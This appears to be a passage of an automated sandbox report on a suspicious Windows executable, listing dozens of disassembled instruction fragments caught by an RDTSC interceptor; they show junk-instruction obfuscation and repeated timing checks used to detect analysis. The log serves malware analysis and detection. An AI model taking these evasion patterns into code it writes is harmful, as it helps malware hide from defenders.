Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502DB second address: 4C502F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C502F8 second address: 4C5031D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2C24E6519Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5031D second address: 4C50341 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2C247D9BECh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50341 second address: 4C50366 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, dl 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F2C24E651A4h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50366 second address: 4C5036A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5036A second address: 4C5036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5036E second address: 4C50374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50374 second address: 4C50396 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F2C24E651A2h 0x00000008 movzx ecx, di 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50396 second address: 4C503A5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C503A5 second address: 4C5046B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c pushad 0x0000000d mov bx, si 0x00000010 pushfd 0x00000011 jmp 00007F2C24E651A8h 0x00000016 add ax, 3D48h 0x0000001b jmp 00007F2C24E6519Bh 0x00000020 popfd 0x00000021 popad 0x00000022 mov eax, dword ptr [76FB65FCh] 0x00000027 jmp 00007F2C24E651A6h 0x0000002c test eax, eax 0x0000002e pushad 0x0000002f call 00007F2C24E6519Eh 0x00000034 mov cx, 5631h 0x00000038 pop eax 0x00000039 mov edi, 30E0E8A2h 0x0000003e popad 0x0000003f je 00007F2C971486D1h 0x00000045 jmp 00007F2C24E651A9h 0x0000004a mov ecx, eax 0x0000004c jmp 00007F2C24E6519Eh 0x00000051 xor eax, dword ptr [ebp+08h] 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F2C24E6519Ch 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C5046B second address: 4C50494 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and ecx, 1Fh 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F2C247D9BF5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C50494 second address: 4C504BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ror eax, cl 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F2C24E6519Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504BA second address: 4C504C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504C0 second address: 4C504C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504C4 second address: 4C504C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C504C8 second address: 4C50511 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F2C24E651A5h 0x00000010 or cx, 77F6h 0x00000015 jmp 00007F2C24E651A1h 0x0000001a popfd 0x0000001b mov bx, si 0x0000001e popad 0x0000001f retn 0004h 0x00000022 nop 0x00000023 mov esi, eax 0x00000025 lea eax, dword ptr [ebp-08h] 0x00000028 xor esi, dword ptr [00532014h] 0x0000002e push eax 0x0000002f push eax 0x00000030 push eax 0x00000031 lea eax, dword ptr [ebp-10h] 0x00000034 push eax 0x00000035 call 00007F2C295C55DCh 0x0000003a push FFFFFFFEh 0x0000003c push eax 0x0000003d push edx 0x0000003e pushad 0x0000003f movsx edi, cx 0x00000042 mov edi, eax 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C505F4 second address: 4C50607 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0001A second address: 4C0005B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a mov esi, ebx 0x0000000c pushfd 0x0000000d jmp 00007F2C24E651A3h 0x00000012 sbb eax, 4953798Eh 0x00000018 jmp 00007F2C24E651A9h 0x0000001d popfd 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0005B second address: 4C000DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebp 0x0000000c pushad 0x0000000d mov esi, 4D513723h 0x00000012 pushfd 0x00000013 jmp 00007F2C247D9BF8h 0x00000018 adc ax, 2E68h 0x0000001d jmp 00007F2C247D9BEBh 0x00000022 popfd 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F2C247D9BF6h 0x0000002b and esp, FFFFFFF8h 0x0000002e pushad 0x0000002f pushad 0x00000030 call 00007F2C247D9BECh 0x00000035 pop eax 0x00000036 mov ecx, edx 0x00000038 popad 0x00000039 mov edi, 2D7228C2h 0x0000003e popad 0x0000003f push ebx 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C000DE second address: 4C000F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C000F9 second address: 4C001D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F2C247D9BEEh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 call 00007F2C247D9BEEh 0x00000018 mov ch, F9h 0x0000001a pop edx 0x0000001b call 00007F2C247D9BECh 0x00000020 mov edi, eax 0x00000022 pop esi 0x00000023 popad 0x00000024 push eax 0x00000025 jmp 00007F2C247D9BECh 0x0000002a xchg eax, ebx 0x0000002b jmp 00007F2C247D9BF0h 0x00000030 mov ebx, dword ptr [ebp+10h] 0x00000033 jmp 00007F2C247D9BF0h 0x00000038 xchg eax, esi 0x00000039 jmp 00007F2C247D9BF0h 0x0000003e push eax 0x0000003f pushad 0x00000040 push edx 0x00000041 pushfd 0x00000042 jmp 00007F2C247D9BECh 0x00000047 add al, 00000038h 0x0000004a jmp 00007F2C247D9BEBh 0x0000004f popfd 0x00000050 pop eax 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 movsx ebx, ax 0x00000057 popad 0x00000058 popad 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d mov esi, ebx 0x0000005f jmp 00007F2C247D9BF5h 0x00000064 popad 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C001D0 second address: 4C001D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C001D6 second address: 4C001DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C001DA second address: 4C001DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C001DE second address: 4C00210 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [ebp+08h] 0x0000000b jmp 00007F2C247D9BEFh 0x00000010 xchg eax, edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F2C247D9BF5h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00210 second address: 4C0024C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2C24E651A7h 0x00000009 or cx, F81Eh 0x0000000e jmp 00007F2C24E651A9h 0x00000013 popfd 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0024C second address: 4C00260 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F2C247D9BEAh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00260 second address: 4C00272 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C24E6519Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00272 second address: 4C002B8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, edi 0x0000000c jmp 00007F2C247D9BF6h 0x00000011 test esi, esi 0x00000013 jmp 00007F2C247D9BF0h 0x00000018 je 00007F2C96B07F4Fh 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002B8 second address: 4C002D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C002D5 second address: 4C0030A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000010 jmp 00007F2C247D9BEEh 0x00000015 je 00007F2C96B07F12h 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0030A second address: 4C0030F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0030F second address: 4C00362 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BEFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [esi+44h] 0x0000000c jmp 00007F2C247D9BF6h 0x00000011 or edx, dword ptr [ebp+0Ch] 0x00000014 jmp 00007F2C247D9BF0h 0x00000019 test edx, 61000000h 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F2C247D9BEAh 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00362 second address: 4C00368 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00368 second address: 4C0036E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0036E second address: 4C00372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00372 second address: 4C00376 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00376 second address: 4C0038A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F2C971934A0h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0038A second address: 4C0038E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0038E second address: 4C00394 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00394 second address: 4C0039A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C0039A second address: 4C0039E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0835 second address: 4BF0853 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F2C247D9BF9h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0853 second address: 4BF0947 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edi 0x00000005 pushfd 0x00000006 jmp 00007F2C24E651A3h 0x0000000b xor cx, E11Eh 0x00000010 jmp 00007F2C24E651A9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov ebp, esp 0x0000001b jmp 00007F2C24E6519Eh 0x00000020 and esp, FFFFFFF8h 0x00000023 jmp 00007F2C24E651A0h 0x00000028 xchg eax, ebx 0x00000029 pushad 0x0000002a mov bx, si 0x0000002d call 00007F2C24E6519Ah 0x00000032 pushad 0x00000033 popad 0x00000034 pop ecx 0x00000035 popad 0x00000036 push eax 0x00000037 pushad 0x00000038 push ecx 0x00000039 pushad 0x0000003a popad 0x0000003b pop ebx 0x0000003c jmp 00007F2C24E651A6h 0x00000041 popad 0x00000042 xchg eax, ebx 0x00000043 pushad 0x00000044 pushfd 0x00000045 jmp 00007F2C24E6519Eh 0x0000004a xor esi, 3E2C1308h 0x00000050 jmp 00007F2C24E6519Bh 0x00000055 popfd 0x00000056 mov ch, 75h 0x00000058 popad 0x00000059 push eax 0x0000005a jmp 00007F2C24E651A0h 0x0000005f mov dword ptr [esp], esi 0x00000062 jmp 00007F2C24E651A0h 0x00000067 mov esi, dword ptr [ebp+08h] 0x0000006a push eax 0x0000006b push edx 0x0000006c jmp 00007F2C24E651A7h 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0947 second address: 4BF09AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F2C247D9BEFh 0x00000009 xor esi, 374B8E0Eh 0x0000000f jmp 00007F2C247D9BF9h 0x00000014 popfd 0x00000015 push ecx 0x00000016 pop edi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a sub ebx, ebx 0x0000001c jmp 00007F2C247D9BF3h 0x00000021 test esi, esi 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F2C247D9BF5h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF09AD second address: 4BF0A6F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F2C9719AB62h 0x0000000f pushad 0x00000010 pushad 0x00000011 mov si, 00A9h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 call 00007F2C24E6519Bh 0x0000001e pop esi 0x0000001f pop edi 0x00000020 popad 0x00000021 cmp dword ptr [esi+08h], DDEEDDEEh 0x00000028 pushad 0x00000029 push eax 0x0000002a mov esi, edx 0x0000002c pop edx 0x0000002d pushfd 0x0000002e jmp 00007F2C24E6519Ah 0x00000033 add esi, 1F2DF3A8h 0x00000039 jmp 00007F2C24E6519Bh 0x0000003e popfd 0x0000003f popad 0x00000040 mov ecx, esi 0x00000042 jmp 00007F2C24E651A6h 0x00000047 je 00007F2C9719AB17h 0x0000004d pushad 0x0000004e movzx ecx, dx 0x00000051 push ebx 0x00000052 mov ecx, 0CBF5495h 0x00000057 pop ecx 0x00000058 popad 0x00000059 test byte ptr [76FB6968h], 00000002h 0x00000060 pushad 0x00000061 jmp 00007F2C24E651A7h 0x00000066 mov ebx, esi 0x00000068 popad 0x00000069 jne 00007F2C9719AAF6h 0x0000006f push eax 0x00000070 push edx 0x00000071 jmp 00007F2C24E651A1h 0x00000076 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0A6F second address: 4BF0A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, bx 0x00000006 mov dh, 7Ch 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov edx, dword ptr [ebp+0Ch] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 mov si, C30Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0A84 second address: 4BF0AC3 instructions: 0x00000000 rdtsc 0x00000002 call 00007F2C24E6519Ah 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a movsx ebx, si 0x0000000d popad 0x0000000e xchg eax, ebx 0x0000000f jmp 00007F2C24E6519Ah 0x00000014 push eax 0x00000015 jmp 00007F2C24E6519Bh 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F2C24E651A0h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0AC3 second address: 4BF0AC9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0AC9 second address: 4BF0ACF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0ACF second address: 4BF0AD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0AD3 second address: 4BF0AD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0AD7 second address: 4BF0AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 jmp 00007F2C247D9BF4h 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0AFA second address: 4BF0B19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F2C24E6519Ah 0x0000000a xor ah, 00000048h 0x0000000d jmp 00007F2C24E6519Bh 0x00000012 popfd 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0B19 second address: 4BF0B56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007F2C247D9BEEh 0x0000000f push dword ptr [ebp+14h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov edi, 6B895BF0h 0x0000001a mov edi, 66C0471Ch 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0BC3 second address: 4BF0BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 movzx eax, bx 0x00000007 popad 0x00000008 mov si, dx 0x0000000b popad 0x0000000c pop ebx 0x0000000d jmp 00007F2C24E651A1h 0x00000012 mov esp, ebp 0x00000014 jmp 00007F2C24E6519Eh 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0BF8 second address: 4BF0BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4BF0BFC second address: 4BF0C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00A81 second address: 4C00AA6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F2C247D9BEDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C00AA6 second address: 4C00AB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C24E6519Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C709BA second address: 4C709C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C709C0 second address: 4C709F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E651A4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov si, B0BDh 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F2C24E651A1h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C709F5 second address: 4C70A11 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C247D9BF1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70A11 second address: 4C70A24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F2C24E6519Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70823 second address: 4C70827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70827 second address: 4C7082B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7082B second address: 4C70831 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70831 second address: 4C70868 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, 51EBh 0x00000007 mov esi, 6DCE21C7h 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F2C24E651A3h 0x00000016 push ecx 0x00000017 movsx edx, cx 0x0000001a pop ecx 0x0000001b popad 0x0000001c xchg eax, ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F2C24E6519Ah 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70868 second address: 4C7087A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F2C247D9BEEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7087A second address: 4C7088E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov dx, ax 0x00000010 mov bx, cx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C7088E second address: 4C70894 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C70894 second address: 4C70898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
